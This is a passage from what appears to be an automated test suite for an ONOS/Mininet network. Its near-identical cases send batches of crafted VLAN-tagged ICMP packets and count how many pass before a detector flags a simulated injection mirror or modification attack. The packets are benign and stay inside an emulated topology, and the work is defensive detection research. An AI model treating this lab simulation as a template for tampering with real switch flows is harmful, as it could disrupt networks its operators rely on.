onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE903( self, main ):
'''
Measure detection time for a packet injection mirror attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection mirror attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection mirror attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the mirror rule with a new attacker hash value" )
main.updateMirrorAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 3 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Mirror Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 3 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE904( self, main ):
'''
Measure detection time for a packet injection mirror attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection mirror attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection mirror attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the mirror rule with a new attacker hash value" )
main.updateMirrorAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 4 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Mirror Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 4 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE905( self, main ):
'''
Measure detection time for a packet injection mirror attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection mirror attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection mirror attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the mirror rule with a new attacker hash value" )
main.updateMirrorAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 5 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Mirror Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 5 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE906( self, main ):
'''
Measure detection time for a packet injection mirror attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection mirror attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection mirror attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the mirror rule with a new attacker hash value" )
main.updateMirrorAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 6 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Mirror Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 6 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE907( self, main ):
'''
Measure detection time for a packet injection mirror attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection mirror attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection mirror attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the mirror rule with a new attacker hash value" )
main.updateMirrorAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 7 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Mirror Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 7 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE908( self, main ):
'''
Measure detection time for a packet injection mirror attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection mirror attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection mirror attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the mirror rule with a new attacker hash value" )
main.updateMirrorAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 8 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Mirror Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 8 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE909( self, main ):
'''
Measure detection time for a packet injection mirror attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection mirror attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection mirror attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert is generated\
3. If no alert goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the mirror rule with a new attacker hash value" )
main.updateMirrorAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 9 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Mirror Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 9 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE1000( self, main ):
'''
Measure detection time for a packet injection modification attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection modification attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection modification attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the modification rule with a new attacker hash value" )
main.updateModificationAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
testChksums = []
for flow in flowTable:
main.log.info( "flow:" + str( flow ) )
if re.search( "dl_vlan", flow ):
chksumFlow = []
chksumAlmost = []
chksumFlow = flow.split( "dl_vlan=" )
chksumAlmost = chksumFlow[ 1 ].split( " " )
chksumUse = chksumAlmost[ 0 ]
main.log.info( "got:" + str( chksumUse ) )
testChksums.append( int( chksumUse ) )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 0 ):
#for chksum in testChksums:
chksum = int( chksum ) & 4095
#main.log.info( "Going to send packet with checksum value:" + str( chksum ) )
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
#if len( attackPackets ) == 19:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
#pktCounter += 19
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Modification Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
#for chksumValue in testChksums:
for chksumValue in main.chksums.get( 0 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection modification was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE1001( self, main ):
'''
Measure detection time for a packet injection modification attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection modification attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection modification attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the modification rule with a new attacker hash value" )
main.updateModificationAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
attackPackets = []
attackedHashValue = 4096
for chksum in main.chksums.get( 1 ):
chksum = int( chksum ) & 4095
attackPacket = "Ether(src=\"00:00:00:00:00:02\",dst=\"00:00:00:01:00:02\")/Dot1Q(vlan="
attackPacket += str( chksum )
attackPacket += ")/IP(dst=\"10.1.0.2\")/ICMP()"
attackPackets.append( attackPacket )
if len( attackPackets ) == 100:
main.step( "Send attackPackets" )
scapyResult = main.Mininet1.startAtsScapy( "0_0_2", attackPackets )
utilities.assert_equals( expect=main.TRUE,
actual=scapyResult,
onpass="Successfully sent packets via Scapy",
onfail="Failed to send packets via Scapy" )
pktCounter += 100
main.log.info( "Total packets sent: " + str( pktCounter ) )
attackPackets[ : ] = []
main.log.info( "Sleep for 20s so that the last sample completes an RTT" )
time.sleep( 20 )
dropAttackFound = main.FALSE
injectionAttackFound = main.FALSE
dropAttackFound = main.CLIs[ 0 ].isDropAttack( )
injectionAttackFound = main.CLIs[ 0 ].isInjectionAttack( )
if dropAttackFound == main.TRUE or injectionAttackFound == main.TRUE:
main.log.info( "Injection Modification Attack detected" )
if injectionAttackFound == main.TRUE:
attackedHashValue = main.CLIs[ 0].getInjectionHashValue( )
else:
attackedHashValue = main.CLIs[ 0].getDropHashValue( )
main.log.info( "Hash value attacked: " + str( attackedHashValue ) )
i = 0
for chksumValue in main.chksums.get( 1 ):
i += 1
chksumValue = int( chksumValue ) & 4095
if int( chksumValue ) == int ( attackedHashValue ):
main.log.info( "The no. of packets till the injection modification was detected is:" + str ( i ) )
resultString = ( datetime.datetime.now().isoformat() + "\n")
resultString += "Packets sent,"
resultString += str( i )
resultString += "\n"
mode = 'a' if os.path.exists( main.detectionTimeLog ) else 'w'
with open( main.detectionTimeLog, mode ) as f:
f.write( resultString )
break
break
else:
main.step( "Clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
onpass="Successfully cleared ONOS logs",
onfail="Failed to clear ONOS logs" )
utilities.assert_equals( expect=main.TRUE,
actual=main.TRUE,
onpass="Successfully found the no. of packets to detect the injection attack",
onfail="Failed to find the no. of packets to detect the injection attack" )
def CASE1002( self, main ):
'''
Measure detection time for a packet injection modification attack
'''
import json
import re
import os
import datetime
import time
main.case( "This case measures how many packets 0_0_2 sends until a packet injection modification attack is detected by ATS" )
main.caseExplanation = "0_2_1 or 0_3_1 carry out an injection modification attack on all traffic from 0_0_2 except what it samples.\
We want to measure how many packets are sent by 0_0_2 before an alert is generated by the detector.\
The test stops when an alert is found.\
1. Send a packet\
2. Check if an alert (drop + injection) is generated\
3. If no alerts goto 1 else, stop and report the number of packets sent"
main.step( "Before starting update the modification rule with a new attacker hash value" )
main.updateModificationAttackFlow.updateFlow( )
main.step( "Send a packet from 0_0_2 to 1_0_2 using scapy and vlan tag from the lbl traffic checksum" )
main.Mininet1.handle.sendline( "sh ovs-ofctl -O OpenFlow13 dump-flows 0_0_1" )
main.Mininet1.handle.expect( "mininet>" )
flowTable = main.Mininet1.handle.before
flowTable = flowTable.split( "\r\n" )
pktCounter = 0
main.step( "First clear the logs on ONOS!" )
clearLogResult = main.CLIs[ 0 ].clearLog( )
utilities.assert_equals( expect=main.TRUE,
actual=clearLogResult,
